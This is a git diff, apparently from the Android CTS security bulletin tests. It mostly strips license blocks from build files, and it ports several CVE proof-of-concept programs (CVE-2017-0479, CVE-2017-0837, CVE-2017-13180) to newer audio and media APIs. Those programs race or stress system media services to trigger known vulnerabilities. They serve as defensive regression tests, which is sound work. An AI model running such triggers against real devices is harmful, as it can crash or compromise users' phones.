@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8426",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
index 4e78056..ae36966 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8427",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
index 1400642..631e54d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8428",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
index a1f6df2..8b38c55 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8429",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
index 303dcdb..1295d71 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8430",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
index 31b47fb..9e19727 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8431",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
index cfea314..9fbef08 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8432",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
index d3acc03..6959175 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8434",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
index c1c40d8..0991572 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8460",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index 326391e..eecb3dc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8479",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
index b11576a..81bae14 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8482",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
index f247aeb..27e8580 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0333",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
index 32bb9a7..ffd3169 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0334",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
index 95faa49..edbff59 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0386",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
index db9c363..f7ab241 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0415",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
index 73ced42..339cd59 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0426",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
index ee72655..1f4f071 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0477",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
index 71e9361..1af5ad7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
@@ -12,20 +12,19 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0479",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp"],
     shared_libs: [
+        "audioclient-types-aidl-cpp",
+        "audioflinger-aidl-cpp",
         "libmedia",
         "libutils",
         "libbinder",
         "libandroid",
         "libaudioclient",
+        "libaudioclient_aidl_conversion",
         "libaudiofoundation",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
index d9acb35..4a2afcf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
@@ -16,23 +16,32 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <stdlib.h>
+
+#include <android/media/BnEffectClient.h>
+#include <android/media/IEffect.h>
 #include <media/AudioSystem.h>
+#include <media/AidlConversion.h>
 #include <hardware/audio_effect.h>
 #include <media/IAudioFlinger.h>
-#include <media/IEffect.h>
-#include <media/IEffectClient.h>
 
 using namespace android;
+using media::IEffect;
 
-struct EffectClient : public android::BnEffectClient {
+struct EffectClient : public media::BnEffectClient {
   EffectClient() {}
-  virtual void controlStatusChanged(bool controlGranted __unused) {}
-  virtual void enableStatusChanged(bool enabled __unused) {}
-  virtual void commandExecuted(uint32_t cmdCode __unused,
-                               uint32_t cmdSize __unused,
-                               void *pCmdData __unused,
-                               uint32_t replySize __unused,
-                               void *pReplyData __unused) {}
+  virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
+    return binder::Status::ok();
+  }
+
+  virtual binder::Status enableStatusChanged(bool enabled __unused) {
+    return binder::Status::ok();
+  }
+
+  virtual binder::Status commandExecuted(int32_t cmdCode __unused,
+      const std::vector<uint8_t>& cmdData __unused,
+      const std::vector<uint8_t>& replyData __unused) {
+    return binder::Status::ok();
+  }
 };
 
 sp<IEffect> gEffect;
@@ -63,14 +72,8 @@
   int i, enabled;
   status_t err;
 
-  uint32_t cmdCode, cmdSize, pReplySize;
-  int *pCmdData, *pReplyData;
-
-  cmdCode = EFFECT_CMD_GET_CONFIG;
-  cmdSize = 0;
-  pReplySize = sizeof(effect_config_t);
-  pCmdData = (int *)malloc(cmdSize);
-  pReplyData = (int *)malloc(pReplySize);
+  std::vector<uint8_t> cmdData;
+  std::vector<uint8_t> replyData;
 
   gEffect = NULL;
   pthread_t pt;
@@ -78,15 +81,40 @@
   AudioDeviceTypeAddr device;
 
   for (i=0; i<100; i++) {
-    gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
-                                         io, sessionId, device, opPackageName,
-                                         getpid(), false, &err, &id, &enabled);
+    media::CreateEffectRequest request;
+    request.desc = VALUE_OR_RETURN_STATUS(
+            legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
+    request.client = effectClient;
+    request.priority = priority;
+    request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
+    request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
+    request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
+    request.opPackageName = VALUE_OR_RETURN_STATUS(legacy2aidl_String16_string(opPackageName));
+    request.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
+    request.probe = false;
+
+    media::CreateEffectResponse response;
+
+    err = audioFlinger->createEffect(request, &response);
+
+    if (err == OK) {
+        id = response.id;
+        enabled = response.enabled;
+        gEffect = response.effect;
+        descriptor = VALUE_OR_RETURN_STATUS(
+                aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
+    }
+
     if (gEffect == NULL || err != NO_ERROR) {
       return -1;
     }
     pthread_create(&pt, NULL, disconnectThread, NULL);
-    err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
-                           (void *)pReplyData);
+    binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
+                                             sizeof(effect_config_t),
+                                             &replyData, &err);
+    if (!status.isOk()) {
+      err = status.transactionError();
+    }
     usleep(50);
   }
   sleep(2);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
index 17207a8..9354940 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0508",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
index 770adb9..1a032a7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0553",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
index 31215a1..c70891b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0814",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -32,3 +28,4 @@
         "-DCHECK_OVERFLOW",
     ],
 }
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
index a2a8734..0156bac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0837",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
index c1999db..733e113 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -14,20 +14,18 @@
  * limitations under the License.
  */
 
-#include "../includes/common.h"
 #include <binder/IPCThreadState.h>
 #include <binder/IServiceManager.h>
-#include <media/IAudioPolicyService.h>
+#include <media/AudioSystem.h>
+#include "../includes/common.h"
 
 using namespace android;
 
 #define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
 #define MAX_NUMBER_OF_THREADS 5
 #define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
-#define SLEEP_TIME_IN_SECONDS 5
 
 struct pocAudioSessionCtxt {
-  sp<IAudioPolicyService> audioService;
   audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
   volatile bool startThread;
 };
@@ -40,15 +38,14 @@
   }
   time_t currentTime = start_timer();
   while (timer_active(currentTime)) {
-    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
-      audio_io_handle_t ioHandle = 0;
-      audio_devices_t device = AUDIO_DEVICE_NONE;
-      ctxt->audioService->acquireSoundTriggerSession(&(ctxt->audioSession[++i]),
-                                                     &ioHandle, &device);
-      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
-        i = 0;
+      if (ctxt->startThread) {
+          audio_io_handle_t ioHandle = 0;
+          audio_devices_t device = AUDIO_DEVICE_NONE;
+          AudioSystem::acquireSoundTriggerSession(&(ctxt->audioSession[++i]), &ioHandle, &device);
+          if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+              i = 0;
+          }
       }
-    }
   }
   return nullptr;
 }
@@ -61,24 +58,16 @@
   }
   time_t currentTime = start_timer();
   while (timer_active(currentTime)) {
-    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
-      ctxt->audioService->releaseSoundTriggerSession(ctxt->audioSession[++i]);
-      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
-        i = 0;
+      if (ctxt->startThread) {
+          AudioSystem::releaseSoundTriggerSession(ctxt->audioSession[++i]);
+          if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+              i = 0;
+          }
       }
-    }
   }
   return nullptr;
 }
 
-class MyDeathRecipient : public IBinder::DeathRecipient {
-public:
-  MyDeathRecipient() {}
-  virtual void binderDied(const wp<IBinder> &who __unused) {
-    exit(EXIT_SUCCESS);
-  }
-};
-
 int main() {
   pocAudioSessionCtxt ctxt;
   pthread_t thread[MAX_NUMBER_OF_THREADS];
@@ -95,18 +84,6 @@
                    &ctxt);
   }
 
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
-  if (!binder) {
-    return EXIT_FAILURE;
-  }
-  ctxt.audioService = interface_cast<IAudioPolicyService>(binder);
-  if (!ctxt.audioService) {
-    return EXIT_FAILURE;
-  }
-
-  sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
-  binder->linkToDeath(deathRecipient);
   ctxt.startThread = true;
   for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
     pthread_join(thread[i], nullptr);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
index 52325db..4263dee 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-0840",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -42,3 +38,4 @@
         "-Werror",
     ],
 }
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
index 33ffdaf..0256f04 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -14,9 +14,10 @@
  * the License.
  */
 
-#include "../includes/common.h"
 #include <stdlib.h>
 
+#include "../includes/common.h"
+
 // This PoC is only for 32-bit builds
 #if _32_BIT
 #include "../includes/omxUtils.h"
@@ -26,86 +27,85 @@
 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
 
 int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
-  buffers->clear();
-  OMX_PARAM_PORTDEFINITIONTYPE def;
-  int err = omxUtilsGetParameter(portIndex, &def);
-  omxExitOnError(err);
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
 
-  for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
-    Buffer buffer;
-    buffer.mFlags = 0;
-    bool success;
-    auto transStatus = mAllocator->allocate(
-        def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
-          success = s;
-          buffer.mHidlMemory = m;
-        });
-    omxExitOnError(!transStatus.isOk());
-    omxExitOnError(!success);
-    omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
-    buffers->push(buffer);
-  }
-  return OK;
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](bool s, hidl_memory const &m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
 }
 #endif /* _32_BIT */
 
 int main() {
-
 // This PoC is only for 32-bit builds
 #if _32_BIT
-  int i;
-  Vector<Buffer> inputBuffers;
-  Vector<Buffer> outputBuffers;
-  status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+    int i;
+    Vector<Buffer> inputBuffers;
+    Vector<Buffer> outputBuffers;
+    status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
 
-  omxExitOnError(err);
+    omxExitOnError(err);
 
-  OMX_PARAM_PORTDEFINITIONTYPE def;
-  omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
 
-  int inMemorySize = def.nBufferCountActual * def.nBufferSize;
-  int inBufferCount = def.nBufferCountActual;
-  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
-  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+    int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+    int inBufferCount = def.nBufferCountActual;
+    sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
 
-  omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
 
-  int outMemorySize = def.nBufferCountActual * def.nBufferSize;
-  int outBufferCnt = def.nBufferCountActual;
-  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
-  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
 
-  allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
-  for (i = 0; i < inBufferCount; ++i) {
-    inBufferId[i] = inputBuffers[i].mID;
-  }
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+    for (i = 0; i < inBufferCount; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+    }
 
-  allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
-  for (i = 0; i < outBufferCnt; ++i) {
-    outBufferId[i] = outputBuffers[i].mID;
-  }
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    for (i = 0; i < outBufferCnt; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+    }
 
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
 
-  OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
-  int64_t timeUs = TIMESTAMP_US;
-  omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
-  omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+    OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+    int64_t timeUs = TIMESTAMP_US;
+    omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+    omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
 
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
 
-  for (i = 0; i < inBufferCount; ++i) {
-    omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
-  }
+    for (i = 0; i < inBufferCount; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+    }
 
-  for (i = 0; i < outBufferCnt; ++i) {
-    omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
-  }
+    for (i = 0; i < outBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+    }
 
-  omxUtilsFreeNode();
+    omxUtilsFreeNode();
 #endif /* _32_BIT */
 
-  return EXIT_SUCCESS;
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
index c8b45cb..a2ac927 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-13232",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
index f6d2bc8..37717a2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-13241",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -41,3 +37,4 @@
         "-Werror",
     ],
 }
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
index 09bb12c..5a8d964 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
